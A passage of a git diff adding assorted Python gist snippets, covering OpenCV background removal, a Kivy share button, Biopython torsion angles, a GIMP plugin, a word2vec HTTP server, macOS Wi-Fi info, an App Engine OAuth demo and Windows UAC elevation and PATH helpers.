+    significant.sort(key=lambda x: x[1])
+    return [x[0] for x in significant];
+
+def segment (path):
+    img = cv2.imread(path)
+
+    blurred = cv2.GaussianBlur(img, (5, 5), 0) # Remove noise
+
+    # Edge operator
+    sobel = np.max( np.array([ getSobel(blurred[:,:, 0]), getSobel(blurred[:,:, 1]), getSobel(blurred[:,:, 2]) ]), axis=0 )
+
+    # Noise reduction trick, from http://sourceforge.net/p/octave/image/ci/default/tree/inst/edge.m#l182
+    mean = np.mean(sobel)
+
+    # Zero any values less than mean. This reduces a lot of noise.
+    sobel[sobel <= mean] = 0;
+    sobel[sobel > 255] = 255;
+
+    cv2.imwrite('output/edge.png', sobel);
+
+    sobel_8u = np.asarray(sobel, np.uint8)
+
+    # Find contours
+    significant = findSignificantContours(img, sobel_8u)
+
+    # Mask
+    mask = sobel.copy()
+    mask[mask > 0] = 0
+    cv2.fillPoly(mask, significant, 255)
+    # Invert mask
+    mask = np.logical_not(mask)
+
+    #Finally remove the background
+    img[mask] = 0;
+
+    fname = path.split('/')[-1]
+    cv2.imwrite('output/' + fname, img);
+    print (path)
+
+
+segment('original-small.jpg')
diff --git a/hard-gists/0f450e738bf79c003253/._snippet.py b/hard-gists/0f450e738bf79c003253/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0f450e738bf79c003253/._snippet.py differ
diff --git a/hard-gists/0f450e738bf79c003253/snippet.py b/hard-gists/0f450e738bf79c003253/snippet.py
new file mode 100644
index 00000000..e2ef90fb
--- /dev/null
+++ b/hard-gists/0f450e738bf79c003253/snippet.py
@@ -0,0 +1,29 @@
+from kivy.app import App
+from kivy.lang import Builder
+
+from jnius import autoclass
+
+PythonActivity = autoclass('org.renpy.android.PythonActivity')
+Intent = autoclass('android.content.Intent')
+String = autoclass('java.lang.String')
+
+root = Builder.load_string('''
+Button:
+    text: 'Share!'
+    on_press: app.share()
+''')
+
+class TestApp(App):
+    def build(self):
+        return root
+
+    def share(self):
+        intent = Intent()
+        intent.setAction(Intent.ACTION_SEND)
+        intent.putExtra(Intent.EXTRA_TEXT, String('test share text'))
+        intent.setType('text/plain')
+        chooser = Intent.createChooser(intent, String('Share...'))
+        PythonActivity.mActivity.startActivity(chooser)
+
+if __name__ == '__main__':
+    TestApp().run()
diff --git a/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/._snippet.py b/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/._snippet.py differ
diff --git a/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/snippet.py b/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/snippet.py
new file mode 100644
index 00000000..ec5f9d74
--- /dev/null
+++ b/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/snippet.py
@@ -0,0 +1,24 @@
+# This code leverages the pre-existing XML parser in objc but takes just the constant values
+# without any deeper parsing of classes, structs, etc.
+
+# Useful for when objc.loadBundleVariables as used here https://gist.github.com/pudquick/ac8f22326f095ed2690e
+# is not possible because the constant isn't defined as a framework symbol, only in a header
+# (which the System .bridgesupport files helpfully included entries for)
+
+import objc
+
+def constant_loader(framework_bridgesupport_path, target_dict, values = None):
+    with open(framework_bridgesupport_path, 'r') as f:
+        xml = f.read()
+        prs = objc._bridgesupport._BridgeSupportParser(xml, 'no path necessary for constants')
+        if values is None:
+            target_dict.update(prs.values)
+        else:
+            for k in values:
+                if prs.values.has_key(k):
+                    target_dict[k] = prs.values[k]
+
+# Example usage:
+# constant_loader('/System/Library/Frameworks/IOKit.framework/Resources/BridgeSupport/IOKit.bridgesupport', globals(), ['kIOMediaClass'])
+# >>> kIOMediaClass
+# 'IOMedia'
diff --git a/hard-gists/0f5f65ddbfa278713f58/._snippet.py b/hard-gists/0f5f65ddbfa278713f58/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0f5f65ddbfa278713f58/._snippet.py differ
diff --git a/hard-gists/0f5f65ddbfa278713f58/snippet.py b/hard-gists/0f5f65ddbfa278713f58/snippet.py
new file mode 100644
index 00000000..b69008eb
--- /dev/null
+++ b/hard-gists/0f5f65ddbfa278713f58/snippet.py
@@ -0,0 +1,229 @@
+#!/usr/bin/env python
+# Copyright (c) 2014 Lenna X. Peterson, all rights reserved
+# lenna@purdue.edu
+
+import argparse
+import csv
+import glob
+import logging
+import math
+import os
+
+# Package Bio can be obtained from http://www.biopython.org
+from Bio import PDB
+
+logging.basicConfig(level=logging.DEBUG)
+
+
+class GetTorsion(object):
+    """
+    Calculate side-chain torsion angles (also known as dihedral or chi angles).
+    Depends: Biopython (http://www.biopython.org)
+    """
+
+    chi_atoms = dict(
+        chi1=dict(
+            ARG=['N', 'CA', 'CB', 'CG'],
+            ASN=['N', 'CA', 'CB', 'CG'],
+            ASP=['N', 'CA', 'CB', 'CG'],
+            CYS=['N', 'CA', 'CB', 'SG'],
+            GLN=['N', 'CA', 'CB', 'CG'],
+            GLU=['N', 'CA', 'CB', 'CG'],
+            HIS=['N', 'CA', 'CB', 'CG'],
+            ILE=['N', 'CA', 'CB', 'CG1'],
+            LEU=['N', 'CA', 'CB', 'CG'],
+            LYS=['N', 'CA', 'CB', 'CG'],
+            MET=['N', 'CA', 'CB', 'CG'],
+            PHE=['N', 'CA', 'CB', 'CG'],
+            PRO=['N', 'CA', 'CB', 'CG'],
+            SER=['N', 'CA', 'CB', 'OG'],
+            THR=['N', 'CA', 'CB', 'OG1'],
+            TRP=['N', 'CA', 'CB', 'CG'],
+            TYR=['N', 'CA', 'CB', 'CG'],
+            VAL=['N', 'CA', 'CB', 'CG1'],
+        ),
+        altchi1=dict(
+            VAL=['N', 'CA', 'CB', 'CG2'],
+        ),
+        chi2=dict(
+            ARG=['CA', 'CB', 'CG', 'CD'],
+            ASN=['CA', 'CB', 'CG', 'OD1'],
+            ASP=['CA', 'CB', 'CG', 'OD1'],
+            GLN=['CA', 'CB', 'CG', 'CD'],
+            GLU=['CA', 'CB', 'CG', 'CD'],
+            HIS=['CA', 'CB', 'CG', 'ND1'],
+            ILE=['CA', 'CB', 'CG1', 'CD1'],
+            LEU=['CA', 'CB', 'CG', 'CD1'],
+            LYS=['CA', 'CB', 'CG', 'CD'],
+            MET=['CA', 'CB', 'CG', 'SD'],
+            PHE=['CA', 'CB', 'CG', 'CD1'],
+            PRO=['CA', 'CB', 'CG', 'CD'],
+            TRP=['CA', 'CB', 'CG', 'CD1'],
+            TYR=['CA', 'CB', 'CG', 'CD1'],
+        ),
+        altchi2=dict(
+            ASP=['CA', 'CB', 'CG', 'OD2'],
+            LEU=['CA', 'CB', 'CG', 'CD2'],
+            PHE=['CA', 'CB', 'CG', 'CD2'],
+            TYR=['CA', 'CB', 'CG', 'CD2'],
+        ),
+        chi3=dict(
+            ARG=['CB', 'CG', 'CD', 'NE'],
+            GLN=['CB', 'CG', 'CD', 'OE1'],
+            GLU=['CB', 'CG', 'CD', 'OE1'],
+            LYS=['CB', 'CG', 'CD', 'CE'],
+            MET=['CB', 'CG', 'SD', 'CE'],
+        ),
+        chi4=dict(
+            ARG=['CG', 'CD', 'NE', 'CZ'],
+            LYS=['CG', 'CD', 'CE', 'NZ'],
+        ),
+        chi5=dict(
+            ARG=['CD', 'NE', 'CZ', 'NH1'],
+        ),
+    )
+
+    default_chi = [1]
+    default_outfile = "torsion_list.csv"
+
+    def __init__(self, input, outfile=None, chi=None, units=None):
+        """Set parameters and calculate torsion values"""
+        if outfile is None:
+            outfile = self.default_outfile
+        if os.path.isfile(outfile) and os.path.getsize(outfile):
+            print "Outfile exists, it will be overwritten"
+        # Configure chi
+        if chi is None:
+            chi = self.default_chi
+        chi_names = list()
+        for x in chi:
+            reg_chi = "chi%s" % x
+            if reg_chi in self.chi_atoms.keys():
+                chi_names.append(reg_chi)
+                alt_chi = "altchi%s" % x
+                if alt_chi in self.chi_atoms.keys():
+                    chi_names.append(alt_chi)
+            else:
+                logging.warning("Invalid chi %s", x)
+        self.chi_names = chi_names
+        self.fieldnames = ["id", "model", "chain", "resn", "resi"] + self.chi_names
+        logging.debug("Calculating chi angles: %s", ", ".join(chi_names))
+
+        # Configure units (degrees or radians)
+        if units is None:
+            units = "degrees"
+        self.degrees = bool(units[0].lower() == "d")
+        if self.degrees:
+            message = "Using degrees"
+        else:
+            message = "Using radians"
+        logging.debug(message)
+
+        # Construct list of files
+        files = list()
+        unprocessed = list()
+        for input_item in input:
+            ext = os.path.splitext(input_item)[1].lower()
+            if ext == ".pdb":
+                if os.path.isfile(input_item):
+                    files.append(input_item)
+                else:
+                    unprocessed.append(input_item)
+            else:
+                if os.path.isdir(input_item):
+                    for pattern in ("*.pdb", "*.PDB"):
+                        files.extend(glob.glob(
+                            os.path.join(input_item, pattern)))
+                elif os.path.isfile(input_item):
+                    with open(input_item, "r") as ih:
+                        for line in ih:
+                            line = line.strip()
+                            if os.path.isfile(line):
+                                files.append(line)
+                            else:
+                                unprocessed.append((input_item, line))
+                else:
+                    unprocessed.append(input_item)
+
+        logging.debug("%s file(s) to process", len(files))
+        if unprocessed:
+            logging.warning("%s input items could not be interpreted:", len(unprocessed))
+            for item in unprocessed:
+                logging.warning("    %s", item)
+
+        # Load parser
+        self.parser = PDB.PDBParser(QUIET=True)
+
+        # Process files
+        out_data = list()
+        for fn in files:
+            logging.debug(fn)
+            torsion_list = self.calculate_torsion(fn)
+            out_data.extend(torsion_list)
+
+        with open(outfile, "w") as oh:
+            w = csv.DictWriter(oh, fieldnames=self.fieldnames)
+            w.writeheader()
+            w.writerows(out_data)
+
+    def calculate_torsion(self, fn):
+        """Calculate side-chain torsion angles for given file"""
+        id = os.path.splitext(os.path.basename(fn))[0]
+
+        torsion_list = list()
+
+        structure = self.parser.get_structure(id, fn)
+        for model in structure:
+            model_name = model.id
+            for chain in model:
+                chain_name = chain.id
+                for res in chain:
+                    # Skip heteroatoms
+                    if res.id[0] != " ": continue
+                    res_name = res.resname
+                    if res_name in ("ALA", "GLY"): continue
+                    chi_list = [""] * len(self.chi_names)
+                    for x, chi in enumerate(self.chi_names):
+                        chi_res = self.chi_atoms[chi]
+                        try:
+                            atom_list = chi_res[res_name]
+                        except KeyError:
+                            continue
+                        try:
+                            vec_atoms = [res[a] for a in atom_list]
+                        except KeyError:
+                            chi_list[x] = float("nan")
+                            continue
+                        vectors = [a.get_vector() for a in vec_atoms]
+                        angle = PDB.calc_dihedral(*vectors)
+                        if self.degrees:
+                            angle = math.degrees(angle)
+                        chi_list[x] = angle
+
+                    resi = "{0}{1}".format(res.id[1], res.id[2].strip())
+                    row = [id, model_name, chain_name, res_name, resi] + chi_list
+                    torsion_list.append(dict(zip(self.fieldnames, row)))
+
+        return torsion_list
+
+    @classmethod
+    def commandline(cls, module_args=None):
+        desc = """Calculate side-chain torsion angles for PDB files.
+        Angles with missing atoms will be nan."""
+        a = argparse.ArgumentParser(description=desc)
+        a.add_argument("input", nargs="*", default=".",
+                       help="Input file(s) (any combination of PDB files, text lists of PDB files, and directories)")
+        a.add_argument("-o", "--outfile", default=cls.default_outfile,
+                       help="Outfile")
+        a.add_argument("-c", "--chi", type=int, nargs="*", default=cls.default_chi,
+                       help="Chi angles to calculate")
+        a.add_argument("-u", "--units", default="degrees",
+                       help="Angle units")
+
+        args = a.parse_args(module_args)
+        c = cls(**vars(args))
+        return c
+
+
+if __name__ == "__main__":
+    GetTorsion.commandline()
diff --git a/hard-gists/0f87efc363309e99d600e3a6300fbcff/._snippet.py b/hard-gists/0f87efc363309e99d600e3a6300fbcff/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0f87efc363309e99d600e3a6300fbcff/._snippet.py differ
diff --git a/hard-gists/0f87efc363309e99d600e3a6300fbcff/snippet.py b/hard-gists/0f87efc363309e99d600e3a6300fbcff/snippet.py
new file mode 100644
index 00000000..64684c02
--- /dev/null
+++ b/hard-gists/0f87efc363309e99d600e3a6300fbcff/snippet.py
@@ -0,0 +1,50 @@
+#!/usr/bin/env python
+
+from gimpfu import *
+import time
+import json
+
+gettext.install("gimp20-python", gimp.locale_directory, unicode=True)
+
+def add_layers(img, layer, classes):
+
+    gimp.context_push()
+    img.undo_group_start()
+
+    if img.base_type is RGB:
+        type = RGBA_IMAGE
+    else:
+        type = GRAYA_IMAGE
+
+    cl_list = json.loads(classes)
+
+    for c in cl_list:
+        layer = gimp.Layer(img, c,
+                        layer.width, layer.height, type, 100, NORMAL_MODE)
+        layer.fill(TRANSPARENT_FILL)
+        img.insert_layer(layer)
+
+    img.undo_group_end()
+    gimp.context_pop()
+
+register(
+    "python-fu-addlayer",
+    N_("Add layers stack"),
+    "Add layers",
+    "Eugene Mikhantiev",
+    "Eugene Mikhantiev",
+    "2017",
+    N_("_Add layers"),
+    "RGB*, GRAY*",
+    [
+        (PF_IMAGE, "image",       "Input image", None),
+        (PF_DRAWABLE, "drawable", "Input drawable", None),
+        (PF_STRING, "classes",       _("_Json list"), '["1","2","3","4","5","6","7","8","9"]'),
+    ],
+    [],
+    add_layers,
+    menu="<Image>/Filters/Tools",
+    domain=("gimp20-python", gimp.locale_directory)
+    )
+
+main()
\ No newline at end of file
diff --git a/hard-gists/10005117/._snippet.py b/hard-gists/10005117/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10005117/._snippet.py differ
diff --git a/hard-gists/10005117/snippet.py b/hard-gists/10005117/snippet.py
new file mode 100644
index 00000000..1f7a49fb
--- /dev/null
+++ b/hard-gists/10005117/snippet.py
@@ -0,0 +1,145 @@
+# coding=utf-8
+import sys
+import socket
+import select
+from urlparse import urlparse, parse_qs
+import word2vec
+
+argvs = sys.argv
+
+port = 8000
+#第二引数は、ポート番号(デフォルト8000)
+if argvs[2]:
+     port = int(argvs[2])
+
+#第一引数のモデルファイルをロード
+if not argvs[1]:
+     print "Not found model file path"
+     exit(1)
+
+print "loading model"
+model=word2vec.load(argvs[1])
+print "done"
+
+read_waits = {}
+write_waits = {}
+
+def wait_read(con, callback):
+    read_waits[con.fileno()] = callback
+
+def wait_write(con, callback):
+    write_waits[con.fileno()] = callback
+
+def evloop():
+    while 1:
+        rs, ws, xs = select.select(read_waits.keys(), write_waits.keys(), [])
+        for rfd in rs:
+            read_waits.pop(rfd)()
+        for wfd in ws:
+            write_waits.pop(wfd)()
+
+class Server(object):
+    def __init__(self, con):
+        self.con = con
+
+    def start(self):
+        wait_read(self.con, self.on_acceptable)
+
+    def on_acceptable(self):
+        try:
+            while 1:
+                con, _ = self.con.accept()
+                con.setblocking(0)
+                Client(con)
+        except IOError:
+            wait_read(self.con, self.on_acceptable)
+
+
+class Client(object):
+    def __init__(self, con):
+        self.con = con
+        self.on_readable()
+
+    def on_readable(self):
+        data = self.con.recv(32 * 1024)
+        if not data:
+            wait_read(self.con, self.on_readable)
+            return
+
+        # GET値に応じて、(c=類語,pos,neg=アナロジー,n=取得数)を取得する
+        content = ""
+        content_len = 0
+        sp_data = data.split(' ',2)
+        if sp_data[0] == 'GET':
+            parse_query = parse_qs(urlparse(sp_data[1]).query)
+            n = 5
+            if parse_query.has_key("n"):
+                n = int(parse_query['n'][0].split(' ')[0])
+            if parse_query.has_key("c"):
+                sp_parse = parse_query['c'][0].split(' ')
+                try:
+                    content = model.cosine(sp_parse, n=n)
+                    content = content[sp_parse[0]]
+                    content_str = map(str,content)
+                    content = ",".join(content_str)
+                    content = content.replace('(','')
+                    content = content.replace(')','')
+                    content = content.replace("', ","' : ")
+                    content = content.replace("'",'"')
+                    content = content.decode('string-escape')
+                    content = "{" + content + "}"
+                except:
+                    content = '{"Not found":"Not found word in model data"}'
+                content_len = len(content) + 1
+            elif parse_query.has_key("pos") and parse_query.has_key("neg"):
+                pos_parse = parse_query['pos'][0].split(' ')
+                neg_parse = parse_query['neg'][0].split(' ')
+
+                try:
+                    content = model.analogy(pos=pos_parse, neg=neg_parse, n=n)
+                    content = content
+                    content_str = map(str,content)
+                    content = ",".join(content_str)
+                    content = content.replace('(','')
+                    content = content.replace(')','')
+                    content = content.replace("', ","' : ")
+                    content = content.replace("'",'"')
+                    content = content.decode('string-escape')
+                    content = "{" + content + "}"
+                except:
+                    content = '{"Not found":"Not found word in model data"}'
+                content_len = len(content) + 1
+
+        if content_len == 0:
+            self.buf = b"""HTTP/1.1 404 Not Found"""
+        else:
+            self.buf = b"""HTTP/1.1 200 OK\r
+Content-Type: application/json\r
+Content-Length: %d\r
+\r
+%s
+""" % (content_len,content)
+
+        self.on_writable()
+
+    def on_writable(self):
+        wrote = self.con.send(self.buf)
+        self.buf = self.buf[wrote:]
+        if self.buf:
+            wait_write(self.con, self.on_writable)
+        else:
+            self.con.close()
+
+
+def serve():
+    sock = socket.socket()
+    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+    sock.setblocking(0)
+    sock.bind(('', port))
+    sock.listen(128)
+    server = Server(sock)
+    server.start()
+    evloop()
+
+if __name__ == '__main__':
+    serve()
\ No newline at end of file
diff --git a/hard-gists/10010307/._snippet.py b/hard-gists/10010307/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10010307/._snippet.py differ
diff --git a/hard-gists/10010307/snippet.py b/hard-gists/10010307/snippet.py
new file mode 100644
index 00000000..c81d7348
--- /dev/null
+++ b/hard-gists/10010307/snippet.py
@@ -0,0 +1,69 @@
+#!/usr/bin/env python
+
+'''
+Playing around with CoreWLAN to return information about the wi-fi connection
+
+Documentation:
+https://developer.apple.com/library/mac/documentation/CoreWLAN/Reference/CWInterface_reference/translated_content/CWInterface.html
+'''
+import objc
+
+objc.loadBundle('CoreWLAN',
+				bundle_path='/System/Library/Frameworks/CoreWLAN.framework',
+				module_globals=globals())
+
+class WiFi(object):
+	'''	WiFI object'''
+
+	def __init__(self):
+		self.wifi = CWInterface.interfaceNames()
+		for iname in self.wifi:
+			self.interface = CWInterface.interfaceWithName_(iname)
+
+	def get_wifistatus(self):
+		if self.interface.powerOn() == 1:
+			return "Yes"
+		return "No"
+
+	def get_ssid(self):
+		return self.interface.ssid()
+
+	def get_interface(self):
+		return self.interface.interfaceName()
+
+	def get_hardwareaddress(self):
+		return self.interface.hardwareAddress()
+
+	def get_aggregatenoise(self):
+		return self.interface.aggregateNoise()
+
+	def get_aggregaterssi(self):
+		return self.interface.aggregateRSSI()
+
+	def get_bssid(self):
+		return self.interface.bssid()
+
+	def get_channel(self):
+		return self.interface.channel()
+
+	def get_transmitrate(self):
+		return self.interface.transmitRate()
+
+	def get_mcsindex(self):
+		return self.interface.mcsIndex()
+
+def main():
+	wifi = WiFi()
+	print 'Interface: %s' % wifi.get_interface()
+	print 'Hardware Address: %s' % wifi.get_hardwareaddress()
+	print 'Active: %s' % wifi.get_wifistatus()
+	print 'SSID: %s' % wifi.get_ssid()
+	print 'Aggregate Noise: %s' % wifi.get_aggregatenoise()
+	print 'BSSID: %s' % wifi.get_bssid()
+	print 'RSSI: %s' % wifi.get_aggregaterssi()
+	print 'Channel: %s' % wifi.get_channel()
+	print 'Transmit Rate: %s' % wifi.get_transmitrate()
+	print 'MCS Index: %s' % wifi.get_mcsindex()
+
+if __name__ == "__main__":
+	main()
diff --git a/hard-gists/10011921/._snippet.py b/hard-gists/10011921/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10011921/._snippet.py differ
diff --git a/hard-gists/10011921/snippet.py b/hard-gists/10011921/snippet.py
new file mode 100644
index 00000000..e66b3357
--- /dev/null
+++ b/hard-gists/10011921/snippet.py
@@ -0,0 +1,84 @@
+'''
+Created on Mar 18, 2014
+@author: OAuth2 base code 'jcgregorio@google.com (Joe Gregorio)' 
+@author modificaciones: nickbortolotti
+'''
+
+from apiclient import discovery
+from oauth2client import appengine
+from oauth2client import client
+from google.appengine.api import memcache
+
+import webapp2
+import jinja2
+import httplib2
+import os
+
+
+JINJA_ENVIRONMENT = jinja2.Environment(
+    loader=jinja2.FileSystemLoader(os.path.dirname(__file__)),
+    autoescape=True,
+    extensions=['jinja2.ext.autoescape'])
+
+# CLIENT_SECRETS, name of a file containing the OAuth 2.0 information for this
+# application, including client_id and client_secret, which are found
+# on the API Access tab on the Google APIs
+# Console <http://code.google.com/apis/console>
+CLIENT_SECRETS = os.path.join(os.path.dirname(__file__), 'client_secrets.json')
+
+# Helpful message to display in the browser if the CLIENT_SECRETS file
+# is missing.
+MISSING_CLIENT_SECRETS_MESSAGE = """
+<h1>Por favor configure OAuth 2.0</h1>
+<p>
+<code>%s</code>.
+</p>
+""" % CLIENT_SECRETS
+
+
+http = httplib2.Http(memcache)
+service = discovery.build("plus", "v1", http=http)
+decorator = appengine.oauth2decorator_from_clientsecrets(
+    CLIENT_SECRETS,
+    scope='https://www.googleapis.com/auth/plus.me',
+    message=MISSING_CLIENT_SECRETS_MESSAGE)
+
+class MainHandler(webapp2.RequestHandler):
+
+    @decorator.oauth_aware
+    def get(self):
+        variables = {
+                     'url': decorator.authorize_url(),
+                     'has_credentials': decorator.has_credentials()
+                     }
+        template = JINJA_ENVIRONMENT.get_template('conceder.html')
+        self.response.write(template.render(variables))
+
+
+class Social(webapp2.RequestHandler):
+
+    @decorator.oauth_required
+    def get(self):
+        try:
+            http = decorator.http()
+            user = service.people().get(userId='me').execute(http=http)
+            text = 'Hola, %s!' % user['displayName']
+            image = user['image']['url']
+            cover = user['cover']['coverPhoto']['url']
+
+            template = JINJA_ENVIRONMENT.get_template('bienvenido.html')
+            self.response.write(template.render({'text': text,
+                                                 'image': image,
+                                                 'cover': cover 
+                                                 }))
+        except client.AccessTokenRefreshError:
+            self.redirect('/')
+
+
+application = webapp2.WSGIApplication(
+    [
+     ('/', MainHandler),
+     ('/social', Social),
+     (decorator.callback_path, decorator.callback_handler()),
+    ],
+    debug=True)
\ No newline at end of file
diff --git a/hard-gists/10016605/._snippet.py b/hard-gists/10016605/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10016605/._snippet.py differ
diff --git a/hard-gists/10016605/snippet.py b/hard-gists/10016605/snippet.py
new file mode 100644
index 00000000..4f8ad304
--- /dev/null
+++ b/hard-gists/10016605/snippet.py
@@ -0,0 +1,35 @@
+# python
+
+""" Snippet demonstrates how to filter item selection out so it contains
+only items of required type (group items in this case).
+Filtered items are printed out in Event Log.
+"""
+
+import lx
+import lxu.select
+
+# Grab current item selection using lxu.select module (see Editing Item Name gist).
+selected_items = lxu.select.ItemSelection().current()
+
+# Services in MODO are always available and they provide access to various parts of Nexus system.
+# Usually services are used to get some data about the system or instance new objects
+# that will be operated on later using lx.object.xxx interfaces.
+# Scene service provides general information on the scene and its items.
+# We are going to use scene service to get a group item type integer code.
+# Typically, when you call a method that needs item type as argument it takes this integer code.
+# However, you should NOT use the code directly as it may change from version to version
+# and therefore is not reliable. Instead, we are going to use scene service's ItemTypeLookup method
+# that will return the proper code after passing an item type string symbol to it.
+# The symbol is one of lx.symbol.sITYPE_xxx.
+scene_service = lx.service.Scene()
+group_type_code = scene_service.ItemTypeLookup(lx.symbol.sITYPE_GROUP)
+
+# The rest is simple now. We're walking selected items list,
+# checking item type using Type() method of lx.object.Item() interface.
+# Type() returns an integer type code so all we need to do is compare it
+# with the code that we got from scene service.
+# If the type fits the filter we're printing item's name in Event Log.
+for item in selected_items:
+    item = lx.object.Item(item)
+    if item.Type() == group_type_code:
+        lx.out(item.UniqueName())
\ No newline at end of file
diff --git a/hard-gists/10023837/._snippet.py b/hard-gists/10023837/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10023837/._snippet.py differ
diff --git a/hard-gists/10023837/snippet.py b/hard-gists/10023837/snippet.py
new file mode 100644
index 00000000..e7ceca6d
--- /dev/null
+++ b/hard-gists/10023837/snippet.py
@@ -0,0 +1,26 @@
+# Simple demo of playing a looping sound using the (currently undocumented) sound.Player class
+
+import sound
+import os
+from scene import *
+
+class MyScene (Scene):
+	def setup(self):
+		self.player = sound.Player(os.path.expanduser('~/Pythonista.app/Beep.caf'))
+		self.player.number_of_loops = -1 #repeat forever
+		self.playing = False
+	
+	def draw(self):
+		background(0, 0, 0)
+		x, y = self.size.w * 0.5, self.size.h * 0.5
+		text('Touch to play/pause', 'Helvetica', 30, x, y)
+	
+	def touch_began(self, touch):
+		if self.playing:
+			self.player.stop()
+		else:
+			self.player.play()
+		self.playing = not self.playing
+			
+run(MyScene())
+
diff --git a/hard-gists/1009475/._snippet.py b/hard-gists/1009475/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1009475/._snippet.py differ
diff --git a/hard-gists/1009475/snippet.py b/hard-gists/1009475/snippet.py
new file mode 100644
index 00000000..69c88547
--- /dev/null
+++ b/hard-gists/1009475/snippet.py
@@ -0,0 +1,220 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+Helpers for automating the process of setting up ported Linux/UNIX
+applications which were designed with expectations like being in $PATH.
+
+@note: Basic functionality requires only the Python standard library.
+       Some functions and methods also require the PyWin32 package.
+
+@note: A much more verbose "sudo for Windows" implementation (BSD-licensed)
+       which requires only Python stdlib (uses ctypes) can be found in esky:
+       https://github.com/cloudmatrix/esky/blob/master/esky/sudo/sudo_win32.py
+
+@todo: Wrap the Windows API for looking up an associated application so
+       elevate() without arguments can be made to work on non-frozen apps.
+
+@todo: Decide if other things like C{DisableReflectionKey} are necessary.
+"""
+
+__author__  = "Stephan Sokolow (deitarion/SSokolow)"
+__version__ = "0.2"
+__license__ = "MIT"
+
+# Dodge the case-sensitivity issue
+KEY_PATH = 'Path'
+
+# Constants which seem to not be defined in PyWin32
+HWND_BROADCAST   = 0xFFFF # http://msdn.microsoft.com/en-us/library/ms644950%28VS.85%29.aspx
+WM_SETTINGCHANGE = 0x001A # http://msdn.microsoft.com/en-us/library/ms725497%28VS.85%29.aspx
+
+import os, sys, _winreg as winreg
+
+def elevate(argv=None, cwd=None, use_arguments=True, show=True):
+    """Run a subprocess with elevated privileges.
+
+    (Should work with both UAC and Guest accounts)
+
+    @param argv: Command to run. C{None} for self.
+    @param cwd: Working directory or C{None} for C{os.getcwd()}
+    @param use_arguments: If False, PyWin32 is not required.
+    @param show: See bShow in C{win32api.ShellExecute} docs.
+                        (Ignored if use_arguments = C{False})
+
+    @note: This assumes that sys.argv[0] is absolute or relative to cwd.
+    @todo: Get access to something newer than XP to test on.
+    """
+    argv = argv or sys.argv
+    cwd = cwd or os.getcwd()
+
+    if isinstance(argv, basestring):
+        argv = [argv]
+    cmd = os.path.normpath(argv[0])
+
+    if use_arguments:
+        from win32api import ShellExecute
+        from subprocess import list2cmdline
+
+        args = list2cmdline(argv[1:])
+        ShellExecute(0, 'runas', cmd, args, cwd, show)
+    else:
+        os.chdir(cwd)
+        os.startfile(os.path.normpath(cmd), 'runas')
+
+def self_is_elevated():
+    """Returns a boolean indicating whether the current process has full
+    administrator rights. (eg. whether a UAC elevation needs to be performed)
+
+    @note: Requires PyWin32.
+    @todo: Get access to something newer than XP to test on.
+    """
+    from win32security import (
+        CheckTokenMembership,
+        CreateWellKnownSid,
+        WinBuiltinAdministratorsSid
+        )
+
+    sid = CreateWellKnownSid(WinBuiltinAdministratorsSid, None)
+    return CheckTokenMembership(None, sid)
+
+class WinEnv(object):
+    """
+    Convenience class for permanently modifying Windows system environment
+    variables from within a Python program or script.
+
+    @note: This bypasses Python's C{os.environ} and directly modifies the
+           registry keys Windows uses to persistently store environment
+           variables.
+
+    @note: This only supports modern Windows (2K/XP/etc.) which store their
+           environment in the registry. C{AUTOEXEC.BAT} is unsupported.
+
+    @note: People writing batch files probably want the SetEnv tool instead.
+           (It's more featureful, but it's under a non-libre license so I
+           haven't touched it. Binaries, code, and instructions available at
+           http://www.codeproject.com/KB/applications/SetEnv.aspx )
+    """
+    PATH_ENV = r"System\CurrentControlSet\Control\Session Manager\Environment\\"
+    DEFAULT_SEP = os.pathsep
+    DEFAULT_NORM = lambda x: os.path.normpath(os.path.normcase(x))
+
+    def __init__(self):
+        self.env = winreg.OpenKey(
+            winreg.HKEY_LOCAL_MACHINE,
+            self.PATH_ENV,
+            0,
+            winreg.KEY_READ|winreg.KEY_WRITE)
+        self.val_type_cache = {}
+
+    def _in_val_list(self, val_list, component, norm):
+        val_match_list = [norm(x) for x in val_list]
+        return norm(component) in val_match_list
+
+    def add(self, key, value, sep=DEFAULT_SEP, norm=DEFAULT_NORM):
+        """Append a component to a variable like C{PATH}.
+
+        Wraps L{read_list} and L{write_list}.
+
+        @note: If C{value} is already present in C{key}, no
+               modification will take place.
+        @param norm: A normalization function for "x in y" checks.
+        """
+        val_list = self.read_list(key, sep=sep)
+
+        if not self._in_val_list(val_list, value, norm):
+            val_list.append(value)
+
+        self.write_list(key, val_list, sep=sep)
+
+    def announce(self):
+        """Attempt to update the environment for running applications.
+
+        @note: Requires PyWin32 (Unlike the rest of this class)
+        @todo: Confirm this actually does something
+        """
+        winreg.FlushKey(self.env) # TODO: Is this necessary?
+
+        import win32api
+        win32api.SendMessage(HWND_BROADCAST, WM_SETTINGCHANGE, None, 'Environment')
+        # (..., None, 'Environment') as specified at http://msdn.microsoft.com/en-us/library/ms725497%28VS.85%29.aspx
+
+    def remove(self, key, value, sep=DEFAULT_SEP, norm=DEFAULT_NORM):
+        """Remove a component from a variable like C{PATH}.
+
+        Wraps L{read_list} and L{write_list}.
+
+        @note: If multiple instances of C{value} are found, all will be removed.
+        @param norm: A normalization function for "x in y" checks.
+        """
+        val_list = self.read_list(key, sep=sep)
+
